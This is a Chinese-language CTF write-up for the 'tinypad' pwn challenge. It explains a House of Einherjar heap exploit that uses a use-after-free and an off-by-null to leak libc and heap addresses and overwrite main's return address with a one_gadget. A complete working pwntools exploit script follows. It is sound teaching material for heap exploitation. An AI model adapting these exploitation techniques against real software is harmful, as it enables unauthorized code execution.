[house of einherjar] tinypad
1. Ida 分析
- 程序直接显示chunk中的内容,相当于show了
-
delete存在uaf
-
edit函数,tinypad缓冲区读入数据
-
add函数,只能申请4个chunk,使用read_until读入
-
read_until存在off by null
2. 思路
- 条件总结,存在可编辑的数组,存在off by null,chunk中的数据没法轻易的修改(
strcpy \x00截断了
),可以使用house of einherjar
,此外free之后没有置NULL,存在uaf,可以泄漏相关的地址
-
首先,通过fastbin泄漏heap的地址,以及unstored bin泄漏libc的地址
# leak libc and heap_base add(0x70,'b'*0x70) add(0x70,'b'*0x70) add(0xf0,'c'*0xf0) add(0xf0,'d'*0x90) delete(2) delete(1) # heap_addr show in fast bin p.recvuntil('CONTENT: ') heap_base = uu64(p.recvline().rstrip()) - 0x80 delete(3) #libc_addr show in unstored bin main_88 = uu64(p.recvuntil('\x7f')[-6:]) libc_base = main_88 - 88 - 0x3c4b20 leak("libc_base",libc_base) leak("heap_base",heap_base) delete(4)
-
用house of einherjar,实现地址写
-
明确fake chunk在tinypad+0x20处(前面空0x20一方面是流出缓冲区方便修改,不会破坏fakechunk的head,另一方面,由于最多申请256字节,要能够使fake覆盖到chunk1、2的指针)
-
计算fakechunk与chunk2的距离,方便构造chunk2的presize
# house of einherjar add(0x10,'A'*0x10) # set chunk2's size,void check add(0x100,'B'*0xf8 + p64(0x101)) add(0x100,'C'*0xf0) add(0x100,'D'*0xf0) # solve the offset between fakechunk and curchunk(chunk2) tinypad = 0x602040 # fake is editable, use edit to modify it fakechunk = tinypad + 0x20 offset = heap_base + 0x20 -fakechunk leak("offet",offset) # create leagal fakechunk payload = 'D'*0x20 + p64(0) + p64(0x101) + p64(fakechunk)*2 edit(3,payload)
-
通过off by one,覆盖chunk2的preinuse为\x00,delete(2)触发
delete(1) # set chunk2's presize offset add(0x18,'a'*0x10+p64(offset)) # triger houses of einherjar delete(2) debug() # modify fakechunk's head edit(4,'d'*0x20 + p64(0)+p64(0x101) + p64(main_88)*2) debug()
-
-
通过fakechunk中编辑的指针修改main_ret为one(这里不用mallochook是因为往目标chunk读入数据时,是通过原来里面的strlen长度决定的,而malochook原本是\x00,因此没法读入)
-
这里的修改,寻在先泄漏,再修改,故需要能够往地址写入的构造
-
第一次泄漏完,利用chunk2,往chunk1,写入main_ret的地址
one_gadget_addr = libc_base + 0xf1247 environ_pointer = libc_base + libc.symbols['__environ'] # change point of chunk1 and chunk2 # leak environ_pointer_addr padding = 'f'*0xd0 + 'a'*8 + p64(environ_pointer) + 'a'*8 + p64(0x602148) add(0xf0,padding) ru('CONTENT: ') main_ret = uu64(p.recvline().rstrip()) - 0x8*30 leak("main_ret",main_ret) edit(2,p64(main_ret))
-
再通过修改chunk1,修改main_ret为one
edit(1,p64(one_gadget_addr))
-
3. exp
#!/usr/bin/env python
# coding=utf-8
# Author : huzai24601
from pwn import *
from LibcSearcher import *
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF('./tinypad')
p=process(myelf.path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
s=lambda data :p.send(data)
sa=lambda delim,data :p.sendafter(delim, data)
sl=lambda data :p.sendline(data)
sla=lambda delim,data :p.sendlineafter(delim, data)
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims :p.recvuntil(delims)
uu64=lambda data :u64(data.ljust(8,'\x00'))
leak=lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
def debug():
gdb.attach(p)
pause()
def add(size,cont):
sla('(CMD)>>> ','a')
sla('(SIZE)>>> ',str(size))
sla('(CONTENT)>>> ',cont)
def edit(index,cont):
sla('(CMD)>>> ','e')
sla('(INDEX)>>> ',str(index))
sla('(CONTENT)>>> ',cont)
sla('(Y/n)>>> ','Y')
def delete(index):
sla('(CMD)>>> ','D')
sla('(INDEX)>>> ',str(index))
# leak libc and heap_base
add(0x70,'b'*0x70)
add(0x70,'b'*0x70)
add(0xf0,'c'*0xf0)
add(0xf0,'d'*0x90)
delete(2)
delete(1)
# heap_addr show in fast bin
p.recvuntil('CONTENT: ')
heap_base = uu64(p.recvline().rstrip()) - 0x80
delete(3)
#libc_addr show in unstored bin
main_88 = uu64(p.recvuntil('\x7f')[-6:])
libc_base = main_88 - 88 - 0x3c4b20
leak("libc_base",libc_base)
leak("heap_base",heap_base)
delete(4)
# house of einherjar
add(0x10,'A'*0x10)
# set chunk2's size,void check
add(0x100,'B'*0xf8 + p64(0x101))
add(0x100,'C'*0xf0)
add(0x100,'D'*0xf0)
# solve the offset between fakechunk and curchunk(chunk2)
tinypad = 0x602040
# fake is editable, use edit to modify it
fakechunk = tinypad + 0x20
offset = heap_base + 0x20 -fakechunk
leak("offet",offset)
# create leagal fakechunk
payload = 'D'*0x20 + p64(0) + p64(0x101) + p64(fakechunk)*2
edit(3,payload)
delete(1)
# set chunk2's presize offset
add(0x18,'a'*0x10+p64(offset))
# triger houses of einherjar
delete(2)
debug()
# modify fakechunk's head
edit(4,'d'*0x20 + p64(0)+p64(0x101) + p64(main_88)*2)
debug()
one_gadget_addr = libc_base + 0xf1247
environ_pointer = libc_base + libc.symbols['__environ']
# change point of chunk1 and chunk2
# leak environ_pointer_addr
padding = 'f'*0xd0 + 'a'*8 + p64(environ_pointer) + 'a'*8 + p64(0x602148)
add(0xf0,padding)
ru('CONTENT: ')
main_ret = uu64(p.recvline().rstrip()) - 0x8*30
leak("main_ret",main_ret)
# modify chunk1's point to main_ret
edit(2,p64(main_ret))
# modify main_ret to onegadget
edit(1,p64(one_gadget_addr))
p.interactive()